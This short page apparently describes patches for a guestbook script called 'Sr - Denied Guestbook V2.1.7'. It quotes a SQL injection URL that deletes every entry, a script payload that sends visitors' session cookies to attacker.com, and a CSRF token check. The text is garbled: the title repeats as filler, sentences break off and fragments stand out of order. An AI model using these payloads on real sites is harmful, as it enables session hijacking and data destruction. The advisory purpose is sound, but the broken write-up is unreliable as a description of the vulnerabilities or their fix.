Sr - Denied Guestbook V2.1.7 Fix Instant

http://target.com/admin/delete_entry.php?id=1 OR 1=1 would delete all entries. The patch introduces multiple security layers. 4.1 Input Sanitization (XSS Fix) File: post_entry.php & view_guestbook.php

Additionally, an authenticated admin clicking a crafted link like: Sr - Denied Guestbook V2.1.7 Fix

<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script> When any user (including admin) viewed the guestbook, their session cookies would be sent to the attacker. http://target

session_start(); if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) die("CSRF validation failed."); Sr - Denied Guestbook V2.1.7 Fix